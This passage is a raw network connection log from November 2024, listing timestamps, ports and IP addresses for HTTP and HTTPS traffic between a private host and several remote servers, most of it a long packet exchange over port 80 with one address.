Nov 23, 2024 02:55:39.171885967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.171946049 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.223586082 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.271183968 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.271269083 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.271328926 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.271502018 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.271522045 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.313477039 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:39.313654900 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:39.313870907 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:39.314122915 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:39.314141989 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:39.342948914 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.376434088 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.405343056 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.405374050 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.406060934 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.406065941 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.426630974 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.427023888 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.427042961 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.427573919 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.427580118 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.434539080 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.434583902 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.434653044 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.434837103 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.434864998 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.434923887 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.435167074 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.435173035 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.435251951 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.435261011 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.481334925 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:39.481355906 CET	443	49881	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:39.481694937 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:39.482319117 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:39.482332945 CET	443	49881	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:39.485466957 CET	443	49872	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.485842943 CET	49872	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.485869884 CET	443	49872	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.486953974 CET	443	49872	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.487299919 CET	49872	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.487505913 CET	443	49872	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.495076895 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:39.495127916 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:39.495372057 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:39.495559931 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:39.495584011 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:39.573077917 CET	443	49873	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.573343992 CET	49873	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.573385000 CET	443	49873	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.573781967 CET	443	49873	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.574173927 CET	49873	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.574245930 CET	443	49873	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:39.612699986 CET	49872	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.658341885 CET	49873	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:39.668113947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.668179035 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.668486118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.668545961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.668576956 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.668589115 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.668626070 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.668639898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.668699980 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.669410944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.669460058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.669511080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.669567108 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.669941902 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.669994116 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.670080900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.670161963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.670773983 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.670829058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.671642065 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.671658039 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.671669006 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.671720982 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.671720982 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.672427893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.672518015 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.672847033 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.672933102 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.673247099 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.673350096 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.673650980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.673743010 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.674124002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.674179077 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.674333096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.674402952 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.674904108 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.674990892 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.675175905 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.675225973 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.675735950 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.675785065 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.675801039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.675851107 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.676582098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.676693916 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.676845074 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.677062988 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.677447081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.677463055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.677514076 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.678237915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.678400040 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.678561926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.678723097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.679068089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.679125071 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.679559946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.679614067 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.679877043 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.679977894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.680041075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.680692911 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.680742979 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.681415081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.681567907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.681581020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.681582928 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.681623936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.682354927 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.682467937 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.682508945 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.682575941 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.683227062 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.683283091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.683284044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.683342934 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.684015989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.684058905 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.684317112 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.684396982 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.684830904 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.684880018 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.685184956 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.685245991 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.685674906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.685776949 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.685897112 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.685941935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.686487913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.686537981 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.687005043 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.687143087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.687510014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.687521935 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.687563896 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.688139915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.688215017 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.688286066 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.688417912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.688987970 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.689047098 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.689429998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.689481974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.689801931 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.689866066 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.689888954 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.689944983 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.690675020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.690686941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.690733910 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.691464901 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.691621065 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.691926003 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.691970110 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.692277908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.692334890 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.692915916 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.692987919 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.693104982 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.693154097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.693485975 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.693538904 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.694019079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.694030046 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.694083929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.694083929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.694773912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.694828033 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.695570946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.695628881 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.695641041 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.695657015 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.695676088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.695728064 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.696436882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.696499109 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.696502924 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.696585894 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.697277069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.697288036 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.697356939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.697356939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.698075056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.698139906 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.698317051 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.698430061 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.698930025 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.698942900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.699012995 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.699739933 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.699815035 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.699891090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.699948072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.700563908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.700584888 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.700639009 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.700639009 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.701374054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.701459885 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.701493979 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.701618910 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.702214003 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.702301979 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.702445030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.702507973 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.703072071 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.703084946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.703140974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.703140974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.703866959 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.703912973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.703948975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.703948975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.704740047 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.704778910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.704828024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.704828024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.705542088 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.705615044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.706131935 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.706312895 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.706355095 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.706475973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.706511021 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.706527948 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.707194090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.707309008 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.707330942 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.707377911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.708014965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.708077908 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.708472013 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.708650112 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.708883047 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.708895922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.709026098 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.709666014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.709773064 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.710310936 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.710357904 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.710526943 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.710541964 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.710563898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.710582972 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.711309910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.711337090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.711373091 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.711393118 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.712279081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.712402105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.712735891 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.712785959 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.712965965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.713018894 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.820235968 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.820322037 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.820600033 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.837047100 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.837066889 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.848418951 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.848447084 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.848529100 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.848675013 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.848686934 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.860301971 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.860676050 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.860687971 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.860699892 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.860789061 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.860789061 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.861423016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.861469984 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.861525059 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.862344980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.862514973 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.862709999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.863090992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.863101959 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.863162041 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.863162041 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.863954067 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.863965988 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.864037037 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.864758015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.865591049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.865602970 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.865614891 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.865652084 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.865688086 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.866400957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.867059946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.867121935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.867222071 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.867233992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.867307901 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.868124962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.868185043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.868887901 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.868900061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.868951082 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.869023085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.869695902 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.869748116 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.870301008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.870558023 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.870568037 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.870574951 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.870620012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.870635986 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.870651960 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.870696068 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.870973110 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.870982885 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.870991945 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.870996952 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.871356010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.871407986 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.871491909 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.872226000 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.873016119 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.873028040 CET	80	49814	185.215.113.206	192.168.2.6
